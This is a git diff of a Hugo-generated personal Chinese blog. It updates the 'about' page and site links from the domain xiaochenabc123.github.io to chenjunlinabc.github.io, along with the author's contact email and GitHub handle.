name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><div class=not-found>404</div></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/about/index.html b/about/index.html
index d3dab4b1..563fab22 100644
--- a/about/index.html
+++ b/about/index.html
@@ -4,7 +4,7 @@
 本站未注明转载的文章均为原创，转载请标明来源
 本站点基于hugo构建
 免责声明
-本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理
+本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理
 自述：
 2002年出生，星座：摩羯座
 偏好语言：JavaScript(TypeScript)，Golang，Python，Rust
@@ -14,17 +14,17 @@
 看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师
 目前在看小说：完美世界
 联系方式：
-邮箱：xiaochenabc123@qq.com
-GitHub：https://github.com/xiaochenabc123
+邮箱：chenjunlinabc123@foxmail.com
+GitHub：https://github.com/chenjunlinabc
 书籍：
-GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/about/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="关于"><meta property="og:description" content="关于本站
+GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/about/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="关于"><meta property="og:description" content="关于本站
 这是本人的个人博客，分享一些本人学习过程中写的笔记
 如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改
 本站未注明转载的文章均为原创，转载请标明来源
 本站点基于hugo构建
 免责声明
-本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理
+本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理
 自述：
 2002年出生，星座：摩羯座
 偏好语言：JavaScript(TypeScript)，Golang，Python，Rust
@@ -34,16 +34,16 @@
 看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师
 目前在看小说：完美世界
 联系方式：
-邮箱：xiaochenabc123@qq.com
-GitHub：https://github.com/xiaochenabc123
+邮箱：chenjunlinabc123@foxmail.com
+GitHub：https://github.com/chenjunlinabc
 书籍：
-GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/about/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="article:published_time" content="2022-04-17T22:50:06+08:00"><meta property="article:modified_time" content="2022-04-17T22:50:06+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="关于"><meta name=twitter:description content="关于本站
+GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/about/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="article:published_time" content="2022-04-17T22:50:06+08:00"><meta property="article:modified_time" content="2022-04-17T22:50:06+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="关于"><meta name=twitter:description content="关于本站
 这是本人的个人博客，分享一些本人学习过程中写的笔记
 如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改
 本站未注明转载的文章均为原创，转载请标明来源
 本站点基于hugo构建
 免责声明
-本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理
+本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理
 自述：
 2002年出生，星座：摩羯座
 偏好语言：JavaScript(TypeScript)，Golang，Python，Rust
@@ -53,10 +53,10 @@
 看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师
 目前在看小说：完美世界
 联系方式：
-邮箱：xiaochenabc123@qq.com
-GitHub：https://github.com/xiaochenabc123
+邮箱：chenjunlinabc123@foxmail.com
+GitHub：https://github.com/chenjunlinabc
 书籍：
-GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"关于","item":"https://xiaochenabc123.github.io/about/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"关于","name":"关于","description":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026amp;小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：xiaochenabc123@qq.com\nGitHub：https://github.com/xiaochenabc123\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理","keywords":[],"articleBody":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：xiaochenabc123@qq.com\nGitHub：https://github.com/xiaochenabc123\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理\n","wordCount":"20","inLanguage":"en","datePublished":"2022-04-17T22:50:06+08:00","dateModified":"2022-04-17T22:50:06+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/about/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span class=active>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1 class=post-title>关于</h1><div class=post-meta><span title='2022-04-17 22:50:06 +0800 CST'>2022-04-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//about.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>关于本站</p><p>这是本人的个人博客，分享一些本人学习过程中写的笔记</p><p>如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改</p><p>本站未注明转载的文章均为原创，转载请标明来源</p><p>本站点基于hugo构建</p><hr><p>免责声明</p><p>本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理</p><hr><p>自述：</p><p>2002年出生，星座：摩羯座</p><p>偏好语言：JavaScript(TypeScript)，Golang，Python，Rust</p><p>APP&小程序：Flutter，Taro</p><p>家里蹲公司的一名干饭攻城狮</p><p>最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀</p><p>看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师</p><p>目前在看小说：完美世界</p><hr><p>联系方式：</p><p>邮箱：xiaochenabc123@qq.com</p><p>GitHub：https://github.com/xiaochenabc123</p><hr><p>书籍：</p><p>GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理</p></div><footer class=post-footer><ul class=post-tags></ul></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"关于","item":"https://chenjunlinabc.github.io/about/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"关于","name":"关于","description":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026amp;小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：chenjunlinabc123@foxmail.com\nGitHub：https://github.com/chenjunlinabc\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理","keywords":[],"articleBody":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：chenjunlinabc123@foxmail.com\nGitHub：https://github.com/chenjunlinabc\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理\n","wordCount":"20","inLanguage":"en","datePublished":"2022-04-17T22:50:06+08:00","dateModified":"2022-04-17T22:50:06+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/about/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span class=active>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1 class=post-title>关于</h1><div class=post-meta><span title='2022-04-17 22:50:06 +0800 CST'>2022-04-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//about.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div 